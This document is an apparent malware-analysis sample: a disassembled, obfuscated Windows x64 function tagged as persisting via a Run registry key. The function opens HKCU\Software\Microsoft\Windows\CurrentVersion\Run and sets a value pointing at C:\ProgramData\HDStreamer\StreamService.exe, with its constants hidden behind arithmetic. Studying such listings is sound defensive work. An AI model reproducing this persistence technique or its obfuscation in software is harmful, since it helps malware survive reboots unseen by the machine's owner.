Function at 0x14004de60
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push rbp
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x18
lea rbp, [rsp + 0x10]
mov qword [rbp], 0xfffffffffffffffe
imul eax, dword [0x1400c74b8], 0xd9b79cff
imul ecx, dword [0x1400c74bc], 0xd7192013
add eax, ecx
add eax, 0xe2429963
lea rax, [rax*8 + 0xf]
and rax, 0xfffffffffffffff0
call fcn.140095c50
sub rsp, rax
mov rbx, rsp
mov eax, dword [0x1400c74c0]
mov ecx, dword [0x1400c74c4]
shrd ecx, eax, 4
xor ecx, 0xf9ad611c
mov eax, ecx
shl rax, 5
call fcn.140095c50
sub rsp, rax
mov r14, rsp
imul eax, dword [0x1400c74c8], 0x3f96cbbf
mov qword [rbp - 8], r14
imul ecx, dword [0x1400c74cc], 0xaafeabf5
add eax, ecx
add eax, 0xf586c320
shl rax, 5
call fcn.140095c50
sub rsp, rax
mov rdi, rsp
sub rsp, 0x20
call fcn.140080bd0
add rsp, 0x20
movabs rax, 0xf50130a017d12e7a
imul rax, qword [0x1400c74d0]
movabs rcx, 0x70fa1bbe84ed4772
imul rcx, qword [0x1400c74d8]
add rcx, rax
movabs rax, 0x4ad0951156037e00
add rax, rcx
mov rcx, qword [0x1400c74e0]
mov rdx, qword [0x1400c74e8]
shrd rdx, rcx, 0x25
mov qword [r14 + 8], rax
movabs rcx, 0xfe555a14ad60007a
xor rcx, rdx
sub rsp, 0x20
call fcn.140095bc8
add rsp, 0x20
mov rsi, rax
mov qword [r14], rax
sub rsp, 0x20
call fcn.140080c60
add rsp, 0x20
cdqe
lea rcx, [0x14009bd20]
mov rax, qword [rcx + rax*8]
mov qword [r14 + 0x10], rax
sub rsp, 0x20
call fcn.140080cf0
add rsp, 0x20
cdqe
lea rcx, [0x14009bd40]
mov rax, qword [rcx + rax*8]
mov qword [r14 + 0x18], rax
movups xmm0, xmmword [0x14009f15e]
movups xmmword [rsi], xmm0
mov dword [rsi + 0x10], 0x720065
sub rsp, 0x20
call fcn.140080d70
add rsp, 0x20
movzx eax, word [0x1400c74f0]
movzx ecx, word [0x1400c74f2]
imul eax, eax, 0x1e4e
imul ecx, ecx, 0x5e56
add eax, ecx
add eax, 0xb74
mov word [rsi + 0x14], ax
movabs rax, 0x8e4aaa959956e261
imul rax, qword [0x1400c74f8]
movabs rcx, 0xe8ee9dd17e5df501
imul rcx, qword [0x1400c7500]
mov rdx, rcx
add rdx, rax
movabs rcx, 0x28cd87d36badf842
add rcx, rdx
nop
sub rsp, 0x20
call fcn.140095bc8
add rsp, 0x20
nop
mov r14, rax
mov qword [rdi], rax
sub rsp, 0x20
call fcn.140080df0
add rsp, 0x20
cdqe
lea rcx, [0x14009bd60]
mov rax, qword [rcx + rax*8]
mov qword [rdi + 0x18], rax
movups xmm0, xmmword [str.C:ProgramDataHDStreamerStreamService.exe]
movups xmmword [r14], xmm0
movups xmm0, xmmword [0x14009f370]
movups xmmword [r14 + 0x10], xmm0
movups xmm0, xmmword [0x14009f380]
movups xmmword [r14 + 0x20], xmm0
movups xmm0, xmmword [0x14009f390]
movups xmmword [r14 + 0x30], xmm0
movups xmm0, xmmword [0x14009f3a0]
movups xmmword [r14 + 0x40], xmm0
movabs rax, 0x6500780065002e
mov qword [r14 + 0x4e], rax
sub rsp, 0x20
call fcn.140080e70
add rsp, 0x20
movzx eax, word [0x1400c7508]
movzx ecx, word [0x1400c750a]
shrd cx, ax, 0xb
mov eax, ecx
xor eax, 0x77b4
mov word [r14 + 0x56], ax
mov eax, dword [0x1400c750c]
mov ecx, dword [0x1400c7510]
shrd ecx, eax, 8
mov r8d, ecx
imul eax, dword [0x1400c7514], 0x856f5b1
imul ecx, dword [0x1400c7518], 0xf7ddd6a6
xor r8d, 0xfb7f7f67
lea r9d, [rax + rcx]
add r9d, 0x7c4e52de
sub rsp, 0x30
mov qword [rsp + 0x20], rbx
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
add rsp, 0x30
mov esi, eax
sub rsp, 0x20
call fcn.140080f00
add rsp, 0x20
imul eax, dword [0x1400c751c], 0xce571cb2
imul ecx, dword [0x1400c7520], 0x4ac61fe8
add eax, ecx
add eax, 0x793091de
cmp esi, eax
jne 0x14004e2ed
mov r15, qword [rbp - 8]
mov rsi, qword [r15 + 0x18]
sub rsp, 0x20
call fcn.140080f90
add rsp, 0x20
cdqe
lea rcx, [0x14009bd80]
mov rdx, r15
cmp rsi, qword [rcx + rax*8]
jbe 0x14004e18c
mov rdx, qword [r15]
mov rcx, qword [rbx]
mov eax, dword [0x1400c7524]
mov r8d, dword [0x1400c7528]
shrd r8d, eax, 0x19
xor r8d, 0x20fe4834
imul eax, dword [0x1400c752c], 0xaea0ef00
imul r9d, dword [0x1400c7530], 0x3b5c38ae
add r9d, eax
add r9d, 0xc2fbb8d
mov eax, dword [0x1400c7534]
mov r10d, dword [0x1400c7538]
shrd r10d, eax, 0x1f
xor r10d, 0x57c48e66
sub rsp, 0x30
mov dword [rsp + 0x28], r10d
mov qword [rsp + 0x20], r14
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
add rsp, 0x30
mov rcx, qword [rbx]
sub rsp, 0x20
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
add rsp, 0x20
mov rsi, qword [rdi + 0x18]
sub rsp, 0x20
call fcn.140081020
add rsp, 0x20
cdqe
lea rcx, [0x14009bda0]
cmp rsi, qword [rcx + rax*8]
jbe 0x14004e306
mov rdi, qword [rdi]
sub rsp, 0x20
call fcn.140081090
add rsp, 0x20
cdqe
lea rcx, [0x14009bdc0]
movzx ecx, byte [rcx + rax*8]
shl rsi, cl
sub rsp, 0x20
call fcn.140081100
add rsp, 0x20
cdqe
lea rcx, [0x14009bde0]
mov rbx, qword [rcx + rax*8]
add rbx, rsi
sub rsp, 0x20
call fcn.140081180
add rsp, 0x20
cdqe
lea rcx, [0x14009be00]
cmp rbx, qword [rcx + rax*8]
jbe 0x14004e402
mov rbx, qword [rdi - 8]
sub rsp, 0x20
call fcn.140081200
add rsp, 0x20
cdqe
lea rcx, [0x14009be20]
add rdi, qword [rcx + rax*8]
sub rdi, rbx
sub rsp, 0x20
call fcn.140081270
add rsp, 0x20
cdqe
lea rcx, [0x14009be40]
cmp rdi, qword [rcx + rax*8]
jae 0x14004e40d
sub rsp, 0x20
call fcn.1400812e0
add rsp, 0x20
cdqe
lea rcx, [0x14009be60]
add rsi, qword [rcx + rax*8]
mov rdx, rsi
mov rcx, rbx
jmp 0x14004e2f9
mov rcx, qword [rdi]
mov edx, 0x60
mov r15, qword [rbp - 8]
sub rsp, 0x20
call fcn.140095c0c
add rsp, 0x20
mov rsi, qword [r15 + 0x18]
sub rsp, 0x20
call fcn.140081370
add rsp, 0x20
cdqe
lea rcx, [0x14009be80]
cmp rsi, qword [rcx + rax*8]
jbe 0x14004e3f5
mov rdi, qword [r15]
sub rsp, 0x20
call fcn.140081400
add rsp, 0x20
cdqe
lea rcx, [0x14009bea0]
movzx ecx, byte [rcx + rax*8]
shl rsi, cl
sub rsp, 0x20
call fcn.140081480
add rsp, 0x20
cdqe
lea rcx, [0x14009bec0]
mov rbx, qword [rcx + rax*8]
add rbx, rsi
sub rsp, 0x20
call fcn.140081500
add rsp, 0x20
cdqe
lea rcx, [0x14009bee0]
cmp rbx, qword [rcx + rax*8]
jbe 0x14004e3e2
mov rbx, qword [rdi - 8]
sub rsp, 0x20
call fcn.140081580
add rsp, 0x20
cdqe
lea rcx, [0x14009bf00]
add rdi, qword [rcx + rax*8]
sub rdi, rbx
sub rsp, 0x20
call fcn.140081610
add rsp, 0x20
cdqe
lea rcx, [0x14009bf20]
cmp rdi, qword [rcx + rax*8]
jae 0x14004e40d
sub rsp, 0x20
call fcn.1400816a0
add rsp, 0x20
cdqe
lea rcx, [0x14009bf40]
add rsi, qword [rcx + rax*8]
mov rdx, rsi
mov rcx, rbx
jmp 0x14004e3e8
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call fcn.140095c0c
add rsp, 0x20
lea rsp, [rbp + 8]
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
ret
mov rdx, rbx
mov rcx, rdi
jmp 0x14004e2f9
sub rsp, 0x20
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3